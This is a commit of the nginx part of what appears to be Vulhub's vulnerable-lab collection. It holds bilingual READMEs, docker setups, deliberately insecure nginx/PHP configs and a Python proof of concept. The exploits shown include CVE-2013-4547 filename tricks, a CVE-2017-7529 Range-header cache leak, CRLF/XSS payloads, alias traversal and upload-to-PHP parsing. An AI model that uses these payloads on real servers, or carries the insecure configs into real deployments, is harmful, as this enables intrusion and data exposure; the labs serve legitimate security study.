first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
nginx/CVE-2013-4547/01.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

BIN
nginx/CVE-2013-4547/02.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

View File

@@ -0,0 +1,65 @@
# Nginx Filename Logic Vulnerability (CVE-2013-4547)
[中文版本(Chinese version)](README.zh-cn.md)
Nginx is a web server that can be used as a reverse proxy, load balancer, mail proxy, and HTTP cache. Nginx 0.8.41 through 1.4.3 and 1.5.x before 1.5.7 allows remote attackers to bypass intended restrictions via an unescaped space character in a URI.
This vulnerability is not directly related to code execution. The main cause is the incorrect parsing of request URIs, which leads to incorrect retrieval of user-requested filenames, resulting in privilege bypass and code execution as side effects.
For example, when Nginx matches requests ending with .php, it sends them to fastcgi for parsing. A common configuration looks like this:
```
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
```
Under normal circumstances (with pathinfo disabled), only files with .php extensions are sent to fastcgi for parsing.
However, in the presence of CVE-2013-4547, when we request `1.gif[0x20][0x00].php`, this URI matches the regular expression `\.php$` and enters this Location block. But after entering, Nginx incorrectly identifies the requested file as `1.gif[0x20]` and sets it as the value of `SCRIPT_FILENAME` to send to fastcgi.
Fastcgi then parses based on the value of `SCRIPT_FILENAME`, ultimately resulting in a parsing vulnerability. Therefore, we only need to upload a file ending with a space to make PHP parse it.
Here's another example. Many websites restrict backend access to specific IPs:
```
location /admin/ {
allow 127.0.0.1;
deny all;
}
```
We can request the following URI: `/test[0x20]/../admin/index.php`. This URI won't match the location pattern `/admin/`, thus bypassing the IP verification. However, the actual requested file is `/test[0x20]/../admin/index.php`, which resolves to `/admin/index.php`, successfully accessing the backend. (This requires having a directory called "test ": this is a Linux system feature. If a directory doesn't exist, even when jumping to the parent directory, it will throw a file not found error. Windows doesn't have this restriction)
References:
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4547
- https://blog.werner.wiki/file-resolution-vulnerability-nginx/
- http://www.91ri.org/9064.html
## Environment Setup
Run the following command to start a Nginx server 1.4.2:
```
docker compose up -d
```
After the environment starts, visit `http://your-ip:8080/` to see an upload page.
## Vulnerability Reproduce
This server uses blacklist validation, and we cannot upload files with .php extensions. We need to exploit CVE-2013-4547. We upload a "1.gif " (note the space at the end):
![](01.png)
Visit `http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php`, and you'll find that PHP has been parsed:
![](02.png)
Note: [0x20] is a space, [0x00] is `\0`, and these characters don't need to be encoded.

View File

@@ -0,0 +1,65 @@
# Nginx 文件名逻辑漏洞CVE-2013-4547
Nginx 是一款Web服务器可以作为反向代理、负载均衡、邮件代理、HTTP缓存等。Nginx 0.8.41 到 1.4.3 和 1.5.x 之前的版本存在一个文件名解析漏洞,允许远程攻击者绕过一些特定的限制,执行原本不允许执行的文件。
这个漏洞的原理是Nginx错误地解析了请求的URI错误地获取到用户请求的文件名导致出现权限绕过、代码执行等连带影响。
举个例子比如Nginx匹配到.php结尾的请求就发送给fastcgi进行解析常见的写法如下
```
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
```
正常情况下关闭pathinfo的情况下只有.php后缀的文件才会被发送给fastcgi解析。
而存在CVE-2013-4547的情况下我们请求`1.gif[0x20][0x00].php`这个URI可以匹配上正则`\.php$`可以进入这个Location块但进入后Nginx却错误地认为请求的文件是`1.gif[0x20]`,就设置其为`SCRIPT_FILENAME`的值发送给fastcgi。
fastcgi根据`SCRIPT_FILENAME`的值进行解析,最后造成了解析漏洞。
所以我们只需要上传一个空格结尾的文件即可使PHP解析之。
再举个例子比如很多网站限制了允许访问后台的IP
```
location /admin/ {
allow 127.0.0.1;
deny all;
}
```
我们可以请求如下URI`/test[0x20]/../admin/index.php`这个URI不会匹配上location后面的`/admin/`也就绕过了其中的IP验证但最后请求的是`/test[0x20]/../admin/index.php`文件,也就是`/admin/index.php`,成功访问到后台。(这个前提是需要有一个目录叫"test "这是Linux系统的特点如果有一个不存在的目录则即使跳转到上一层也会爆文件不存在的错误Windows下没有这个限制
参考链接:
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4547
- https://blog.werner.wiki/file-resolution-vulnerability-nginx/
- http://www.91ri.org/9064.html
## 漏洞环境
执行如下命令启动一个Nginx 1.4.2服务器:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080/`即可看到一个上传页面。
## 漏洞复现
这个环境是黑名单验证我们无法上传php后缀的文件需要利用CVE-2013-4547。我们上传一个"1.gif ",注意后面的空格:
![](01.png)
访问`http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php`即可发现PHP已被解析
![](02.png)
注意,[0x20]是空格,[0x00]是`\0`,这两个字符都不需要编码。

View File

@@ -0,0 +1,17 @@
services:
nginx:
image: vulhub/nginx:1.4.2
volumes:
- ./nginx.conf:/usr/local/nginx/conf/nginx.conf
- ./index.php:/usr/local/nginx/html/index.php
ports:
- "8080:80"
php:
image: vulhub/php:5.6-fpm
command:
- bash
- -c
- "mkdir -p /var/www/html/uploadfiles && chown -R www-data:www-data /var/www/html/uploadfiles && php-fpm"
volumes:
- ./index.php:/var/www/html/index.php
- ./www.conf:/usr/local/etc/php-fpm.d/zz-docker.conf

View File

@@ -0,0 +1,33 @@
<?php
if (!empty($_FILES)):
// Check for errors
if($_FILES['file_upload']['error'] > 0){
die('An error ocurred when uploading.');
}
// Check filesize
if(!is_uploaded_file($_FILES['file_upload']['tmp_name'])) {
die('File is not uploaded file');
}
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (empty($ext) || in_array($ext, ['php', 'php3', 'php5', 'phtml'])) {
die('Unsupported filetype uploaded.');
}
$new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name'];
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
die('Error uploading file - check destination is writeable.');
}
die('File uploaded successfully: ' . $new_name);
else:
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
<?php
endif;

View File

@@ -0,0 +1,33 @@
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
root html;
index index.php;
charset utf-8;
location ~ \.php$ {
root html;
include fastcgi_params;
fastcgi_pass php:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
}
}

View File

@@ -0,0 +1,7 @@
[global]
daemonize = no
[www]
listen = 9000
security.limit_extensions =
php_admin_flag[cgi.fix_pathinfo] = off

BIN
nginx/CVE-2017-7529/01.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

View File

@@ -0,0 +1,34 @@
# Nginx Cache Leak by Integer Overflow (CVE-2017-7529)
[中文版本(Chinese version)](README.zh-cn.md)
Nginx is a web server that can be used as a reverse proxy, load balancer, mail proxy, and HTTP cache. When Nginx acts as a reverse proxy, it typically caches certain files, especially static files. The cached content is stored in files, with each cache file containing a "file header" + "HTTP response header" + "HTTP response body". If a subsequent request hits this cache file, Nginx will directly return the "HTTP response body" from the file to the user.
Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.
If a request contains a Range header, Nginx will return content of specified length based on the start and end positions provided. However, if we construct two negative positions, such as (-600, -9223372036854774591), it becomes possible to read data from negative positions. If this request hits a cache file, we may be able to read the "file header" and "HTTP response header" that are located before the "HTTP response body" in the cache file.
References:
- https://cert.360.cn/detailnews.html?id=b879782fbad4a7f773b6c18490d67ac7
- http://galaxylab.org/cve-2017-7529-nginx%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
## Environment Setup
Run the following command to start a Nginx server version 1.13.2:
```
docker compose up -d
```
After the server starts, visit `http://your-ip:8080/` to see the Nginx default page, which is actually content reverse proxied from port 8081.
## Vulnerability Reproduce
Run `python3 poc.py http://your-ip:8080/` and check the returned results:
![](01.png)
As you can see, we've successfully read the "file header" and "HTTP response header" content located before the "HTTP response body" through out-of-bounds reading.
If the reading is incorrect, try adjusting the offset address (605) in poc.py.

View File

@@ -0,0 +1,32 @@
# Nginx越界读取缓存漏洞CVE-2017-7529
Nginx是一款Web服务器可以作为反向代理、负载均衡、邮件代理、HTTP缓存等。当Nginx作为反向代理时通常会缓存一些文件特别是静态文件。缓存的内容存储在文件中每个缓存文件包括"文件头"+"HTTP返回包头"+"HTTP返回包体"。如果二次请求命中了该缓存文件则Nginx会直接将该文件中的"HTTP返回包体"返回给用户。
Nginx版本从0.5.6到1.13.2的nginx range filter模块存在整数溢出漏洞当遇到特殊构造的请求时会导致泄露敏感信息。
如果请求中包含Range头Nginx会根据请求中提供的start和end位置返回指定长度的内容。然而如果start和end位置为负数例如(-600, -9223372036854774591),则可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于"HTTP返回包体"前的"文件头"、"HTTP返回包头"等内容。
参考阅读:
- https://cert.360.cn/detailnews.html?id=b879782fbad4a7f773b6c18490d67ac7
- http://galaxylab.org/cve-2017-7529-nginx%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
## 漏洞环境
执行如下命令启动一个Nginx 1.13.2服务器:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080/`即可查看到Nginx默认页面这个页面实际上是反向代理的8081端口的内容。
## 漏洞复现
调用`python3 poc.py http://your-ip:8080/`,读取返回结果:
![](01.png)
可见,越界读取到了位于"HTTP返回包体"前的"文件头"、"HTTP返回包头"等内容。
如果读取有误请调整poc.py中的偏移地址605

View File

@@ -0,0 +1,28 @@
proxy_cache_path /tmp/nginx levels=1:2 keys_zone=cache_zone:10m;
proxy_cache_valid 200 10m;
server {
listen 8081;
server_name localhost;
charset utf-8;
location / {
root /usr/share/nginx/html;
index index.html;
}
}
server {
listen 8080;
server_name localhost;
charset utf-8;
location / {
proxy_pass http://127.0.0.1:8081/;
proxy_set_header HOST $host;
proxy_cache cache_zone;
add_header X-Proxy-Cache $upstream_cache_status;
proxy_ignore_headers Set-Cookie;
}
}

View File

@@ -0,0 +1,7 @@
services:
nginx:
image: vulhub/nginx:1.13.2
volumes:
- ./default.conf:/etc/nginx/conf.d/default.conf
ports:
- "8080:8080"

View File

@@ -0,0 +1,21 @@
#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
print(r.text)

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 57 KiB

View File

@@ -0,0 +1,79 @@
# Nginx Misconfiguration Vulnerabilities
[中文版本(Chinese version)](README.zh-cn.md)
Nginx is a web server that can be used as a reverse proxy, load balancer, mail proxy, and HTTP cache. This environment contains three vulnerabilities caused by Nginx misconfiguration.
## Environment Setup
Execute the following command to start a Nginx server with multiple vulnerabilities:
```
docker compose up -d
```
After successful execution, Nginx will listen on three ports: 8080/8081/8082, corresponding to three different vulnerabilities.
## Mistake 1. CRLF Injection Vulnerability
Nginx decodes `$uri`, which means inputting %0d%0a can introduce line breaks, leading to CRLF injection vulnerabilities.
Example of incorrect configuration (originally intended to redirect HTTP requests to HTTPS):
```
location / {
return 302 https://$host$uri;
}
```
Payload: `http://your-ip:8080/%0d%0aSet-Cookie:%20a=1`, which can inject a Set-Cookie header.
![](5.png)
Using techniques from the article "[Bottle HTTP Header Injection Vulnerability Analysis](https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html)", you can construct an XSS vulnerability:
![](1.png)
## Mistake 2. Directory Traversal Vulnerability
When configuring aliases in Nginx, forgetting to add a `/` will create a directory traversal vulnerability.
Example of incorrect configuration (originally intended to allow users to access files in the /home/ directory):
```
location /files {
alias /home/;
}
```
Payload: `http://your-ip:8081/files../`, successfully traversing to the root directory:
![](2.png)
## Mistake 3. add_header Override
The `add_header` directive in Nginx configuration child blocks (server, location, if) will override HTTP headers added by `add_header` in the parent block, potentially creating security risks.
For example, in the following code, CSP headers are added site-wide (in the parent block):
```
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;
location = /test1 {
rewrite ^(.*)$ /xss.html break;
}
location = /test2 {
add_header X-Content-Type-Options nosniff;
rewrite ^(.*)$ /xss.html break;
}
```
However, because the `/test2` location block adds an `X-Content-Type-Options` header, all `add_header` directives in the parent block become ineffective:
![](3.png)
XSS can be triggered:
![](4.png)

View File

@@ -0,0 +1,77 @@
# Nginx 配置错误导致漏洞
Nginx是一款Web服务器可以作为反向代理、负载均衡、邮件代理、HTTP缓存等。这个Vulhub环境包含三个由Nginx配置错误导致的漏洞。
## 测试环境
执行以下命令启动一个包含多个漏洞的Nginx服务器
```
docker compose up -d
```
运行成功后Nginx将会监听8080/8081/8082三个端口分别对应三种漏洞。
## Mistake 1. CRLF注入漏洞
Nginx会将`$uri`进行解码,导致传入%0d%0a即可引入换行符造成CRLF注入漏洞。
错误的配置文件示例原本的目的是为了让http的请求跳转到https上
```
location / {
return 302 https://$host$uri;
}
```
Payload: `http://your-ip:8080/%0d%0aSet-Cookie:%20a=1`可注入Set-Cookie头。
![](5.png)
利用《[Bottle HTTP 头注入漏洞探究](https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html)》中的技巧即可构造一个XSS漏洞
![](1.png)
## Mistake 2. 目录穿越漏洞
Nginx在配置别名Alias的时候如果忘记加`/`,将造成一个目录穿越漏洞。
错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):
```
location /files {
alias /home/;
}
```
Payload: `http://your-ip:8081/files../` ,成功穿越到根目录:
![](2.png)
## Mistake 3. add_header被覆盖
Nginx配置文件子块server、location、if中的`add_header`,将会覆盖父块中的`add_header`添加的HTTP头造成一些安全隐患。
如下列代码整站父块中添加了CSP头
```
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;
location = /test1 {
rewrite ^(.*)$ /xss.html break;
}
location = /test2 {
add_header X-Content-Type-Options nosniff;
rewrite ^(.*)$ /xss.html break;
}
```
`/test2`的location中又添加了`X-Content-Type-Options`头,导致父块中的`add_header`全部失效:
![](3.png)
XSS可被触发
![](4.png)

View File

@@ -0,0 +1,13 @@
server {
listen 8080;
root /usr/share/nginx/html;
index index.html;
server_name _;
location / {
return 302 http://$host:$server_port$uri;
}
}

View File

@@ -0,0 +1,15 @@
server {
listen 8081;
root /usr/share/nginx/html;
index index.html;
server_name _;
autoindex on;
location /files {
alias /home/;
}
}

View File

@@ -0,0 +1,23 @@
server {
listen 8082;
root /usr/share/nginx/html;
index index.html;
server_name _;
autoindex on;
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;
location = /test1 {
rewrite ^(.*)$ /xss.html break;
}
location = /test2 {
add_header X-Content-Type-Options nosniff;
rewrite ^(.*)$ /xss.html break;
}
}

View File

@@ -0,0 +1,11 @@
services:
nginx:
image: vulhub/nginx:1
volumes:
- ./configuration:/etc/nginx/conf.d
- ./files/:/home/
- ./www/:/usr/share/nginx/html/
ports:
- "8080:8080"
- "8081:8081"
- "8082:8082"

View File

@@ -0,0 +1 @@
This is a public file.

View File

@@ -0,0 +1,19 @@
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<link rel="stylesheet" href="static/app.css">
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
</body>
</html>

View File

@@ -0,0 +1,5 @@
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}

View File

@@ -0,0 +1,4 @@
window.onload = function() {
var m = document.getElementById('m');
m.innerHTML = location.hash.substr(1);
}

View File

@@ -0,0 +1,10 @@
<!DOCTYPE html>
<html>
<head>
<title>XSS Vulnerability</title>
<script src="static/app.js"></script>
</head>
<body>
<p id="m"></p>
</body>
</html>

Binary file not shown.

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 156 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 138 KiB

View File

@@ -0,0 +1,63 @@
# Nginx Parsing Vulnerability
[中文版本(Chinese version)](README.zh-cn.md)
Nginx is a web server that can be used as a reverse proxy, load balancer, mail proxy, and HTTP cache. This environment contains a parsing vulnerability caused by improper user configuration.
Version information:
- Latest version of Nginx 1.x
- Latest version of PHP 7.1.x
This indicates that the vulnerability is not related to specific Nginx or PHP versions, but rather is caused by improper user configuration leading to parsing vulnerabilities.
The vulnerability exists because of how Nginx handles file extensions in its configuration. When a request is made to a file with multiple extensions (like `file.jpg.php`), Nginx may process it based on the last extension, even if the file was originally uploaded as an image.
This misconfiguration commonly occurs in the following Nginx configuration:
```nginx
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
include fastcgi_params;
}
```
When a request is made to `file.jpg/.php`, Nginx will treat it as a PHP file and send it to the PHP-FPM for processing, even though it's actually an image file. This behavior can be exploited to execute malicious code that was uploaded as an image file.
## Environment Setup
Execute the following command to start a Nginx server with a parsing vulnerability:
```
docker compose up -d
```
After successful execution, the Nginx server will listen on port 80.
## Vulnerability Reproduce
Visit `http://your-ip/uploadfiles/nginx.png` and `http://your-ip/uploadfiles/nginx.png/.php` to see the effect.
Normal display:
![image](1.jpg)
After adding the `/.php` suffix, the file is parsed as a PHP file:
![image](2.jpg)
Visit `http://your-ip/index.php` to test the upload functionality. While the upload code itself has no vulnerabilities, you can get a shell by exploiting the parsing vulnerability:
![image](3.jpg)
![image](4.jpg)
To prevent this vulnerability:
1. Configure proper file extension handling in Nginx
2. Implement strict file type validation
3. Store uploaded files outside of the web root
4. Use random file names for uploaded files
5. Implement proper access controls

View File

@@ -0,0 +1,61 @@
# Nginx 解析漏洞
Nginx是一款Web服务器可以作为反向代理、负载均衡、邮件代理、HTTP缓存等。这个Vulhub环境包含一个由用户配置不当导致的解析漏洞。
版本信息:
- Nginx 1.x 最新版
- PHP 7.1.x 最新版
由此可知该漏洞与Nginx、PHP版本无关属于用户配置不当造成的解析漏洞。
该漏洞存在的原因是Nginx在配置中对文件扩展名的处理方式。当请求一个具有多个扩展名的文件`file.jpg.php`Nginx可能会根据最后一个扩展名来处理即使该文件最初是作为图片上传的。
这种配置错误通常出现在以下Nginx配置中
```nginx
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
include fastcgi_params;
}
```
当请求`file.jpg/.php`Nginx会将其作为PHP文件处理并发送给PHP-FPM解析尽管它实际上是一个图片文件。这种行为可以被利用来执行作为图片文件上传的恶意代码。
## 环境搭建
直接执行如下命令启动一个包含解析漏洞的Nginx服务器
```
docker compose up -d
```
运行成功后Nginx将会监听80端口。
## 漏洞复现
访问`http://your-ip/uploadfiles/nginx.png``http://your-ip/uploadfiles/nginx.png/.php`即可查看效果。
正常显示:
![image](1.jpg)
增加`/.php`后缀被解析成PHP文件
![image](2.jpg)
访问`http://your-ip/index.php`可以测试上传功能上传代码不存在漏洞但利用解析漏洞即可getshell
![image](3.jpg)
![image](4.jpg)
为防止此漏洞:
1. 正确配置Nginx的文件扩展名处理
2. 实施严格的文件类型验证
3. 将上传的文件存储在Web根目录之外
4. 使用随机文件名存储上传的文件
5. 实施适当的访问控制

View File

@@ -0,0 +1,18 @@
services:
nginx:
image: nginx:1
volumes:
- ./www:/usr/share/nginx/html
- ./nginx/default.conf:/etc/nginx/conf.d/default.conf
depends_on:
- php
ports:
- "80:80"
- "443:443"
php:
image: php:7.1-fpm
command: /bin/sh /var/www/start.sh
volumes:
- ./start.sh:/var/www/start.sh
- ./www:/var/www/html
- ./php-fpm/www-2.conf:/usr/local/etc/php-fpm.d/www-2.conf

View File

@@ -0,0 +1,25 @@
server {
listen 80 default_server;
listen [::]:80 default_server;
root /usr/share/nginx/html;
index index.html index.php;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REDIRECT_STATUS 200;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
fastcgi_pass php:9000;
}
}

View File

@@ -0,0 +1,2 @@
[www]
security.limit_extensions =

View File

@@ -0,0 +1,6 @@
#!/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin
chmod 777 /var/www/html/uploadfiles
php-fpm

View File

@@ -0,0 +1,49 @@
<?php
if (!empty($_FILES)):
// Check for errors
if($_FILES['file_upload']['error'] > 0){
die('An error ocurred when uploading.');
}
if(!getimagesize($_FILES['file_upload']['tmp_name'])){
die('Please ensure you are uploading an image.');
}
// Check filetype
if(stripos($_FILES['file_upload']['type'], 'image/') !== 0){
die('Unsupported filetype uploaded.');
}
// Check filesize
if($_FILES['file_upload']['size'] > 500000){
die('File uploaded exceeds maximum upload size.');
}
// Check filesize
if(!is_uploaded_file($_FILES['file_upload']['tmp_name'])) {
die('File is not uploaded file');
}
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
die('Unsupported filetype uploaded.');
}
$new_name = __DIR__ . '/uploadfiles/' . md5($_FILES['file_upload']['name']) . ".{$ext}";
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
die('Error uploading file - check destination is writeable.');
}
die('File uploaded successfully: ' . $new_name);
else:
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
<?php
endif;

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 KiB